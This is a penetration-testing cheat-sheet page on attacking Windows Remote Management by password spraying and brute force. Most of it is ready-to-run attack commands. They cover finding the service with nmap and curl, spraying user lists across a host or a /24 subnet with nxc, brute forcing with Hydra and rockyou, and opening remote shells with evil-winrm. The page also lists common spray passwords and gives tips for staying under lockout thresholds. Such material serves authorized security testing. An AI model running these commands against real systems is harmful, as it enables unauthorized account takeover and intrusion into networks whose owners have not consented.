Skip to content
HackIndex logo

HackIndex

WinRM Brute Force and Password Spraying

4 min read Jul 10, 2026

WinRM exposes Windows Remote Management on port 5985 (HTTP) and 5986 (HTTPS). Authentication goes through the same AD lockout policy as every other Windows service. Check the lockout threshold before running anything — spray one password at a time and stay at least two attempts below the threshold per account per observation window.

Confirming WinRM is Open

Before spraying, confirm the service is reachable:

┌──(kali㉿kali)-[~]
└─$ nmap -p 5985,5986 $TARGET_IP
Explain command
-p 5985,5986 Scans only specified ports: 5985 (WinRM HTTP) and 5986 (WinRM HTTPS)
$TARGET_IP Variable placeholder for the target IP address to scan

Or with a direct connection test using curl:

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:5985/wsman
Explain command
-s Silent mode; suppresses progress meter and error information
http://$TARGET_IP:5985/wsman Target URL with variable placeholder for IP and WinRM service endpoint

Any response confirms WinRM is listening. A connection refused means it is not enabled.

Password Spraying with nxc

nxc is the most reliable and cleanest tool for WinRM spraying:

┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP -u users.txt -p $PASSWORD -d $DOMAIN --continue-on-success
Explain command
winrm Protocol to target for credential spraying/enumeration
$TARGET_IP Target IP address or hostname to connect to
-u users.txt File containing list of usernames to test
-p $PASSWORD Password or file containing passwords to attempt
-d $DOMAIN Domain name for authentication context
--continue-on-success Continue spraying after finding valid credentials

Spray across a subnet:

┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP/24 -u users.txt -p 'Winter2024!' -d $DOMAIN --continue-on-success
WINRM  10.10.10.10  5985  DC01  [+] CORP\jsmith:Winter2024! (Pwn3d!)
Explain command
$TARGET_IP/24 Target IP address range in CIDR notation for network scan
-u users.txt Username file containing list of usernames to test
-p 'Winter2024!' Password to use for authentication attempts
-d $DOMAIN Domain name for authentication context
--continue-on-success Continue scanning even after successful credential validation

(Pwn3d!) means the account has WinRM access and can open a remote session. A [+] without (Pwn3d!) means valid credentials but no WinRM access rights.

Spraying Local Accounts

Test local accounts without a domain:

┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP -u $USER -p $PASSWORD --local-auth --continue-on-success
Explain command
winrm Protocol to use for authentication and command execution
$TARGET_IP Target host IP address or hostname
-u $USER Username for authentication
-p $PASSWORD Password for authentication
--local-auth Authenticate against local accounts instead of domain
--continue-on-success Continue spraying credentials after finding valid ones

Brute Force with Hydra

For per-account brute force against a single target:

┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt $TARGET_IP http-post-form "/wsman:Authorization\: Basic $(echo -n $USER:^PASS^ | base64):Unauthorized" -s 5985
Explain command
-l $USER Single username for authentication attempts
-P /usr/share/wordlists/rockyou.txt Password wordlist file path
$TARGET_IP Target host IP address
http-post-form HTTP POST form authentication module
/wsman:Authorization\: Basic $(echo -n $USER:^PASS^ | base64):Unauthorized POST form path with Base64-encoded credentials and response check
-s 5985 Port number for connection

The WinRM HTTP module in Hydra is less reliable than nxc. Use nxc by default and fall back to Hydra when nxc has issues.

Checking Lockout Policy First

Pull the policy via LDAP before spraying:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=domainDNS)" lockoutThreshold lockoutDuration
Explain command
-x Use simple authentication instead of SASL.
-H ldap://$TARGET_IP LDAP server URI to connect to.
-D "$USER@$DOMAIN" Bind DN (distinguished name) for authentication.
-w $PASSWORD Bind password for authentication.
-b "$BASE_DN" Base DN for search scope.
(objectClass=domainDNS) LDAP filter to search for domain DNS objects.
lockoutThreshold Attribute to retrieve account lockout threshold value.
lockoutDuration Attribute to retrieve account lockout duration value.

A lockoutThreshold of 0 means no lockout — brute force freely. For any other value, run one password per lockout window (typically 30 minutes).

Common Spray Passwords

Winter2024!, Spring2024!, Summer2024!, Autumn2024!
Welcome1, Welcome123, Welcome2024!
Password1, Password123, Password2024!
(company name)123!, (company name)2024!
(blank password — accounts with PASSWD_NOTREQD)

Verifying Credentials and Opening a Session

Once you have valid credentials, verify the session opens:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-p $PASSWORD Specifies the password for authentication
-d $DOMAIN Specifies the Active Directory domain name

If WinRM is on HTTPS (5986):

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN -S
Explain command
-i $TARGET_IP Target IP address to connect to
-u $USER Username for authentication
-p $PASSWORD Password for authentication
-d $DOMAIN Domain name for authentication
-S Use SSL/TLS encryption for connection

-S enables SSL. Add -c and -k to supply a client certificate and key if required.

For a full guide on what to do once inside a WinRM session, see Evil-WinRM. For lateral movement after obtaining access, see AD Remote Execution.

References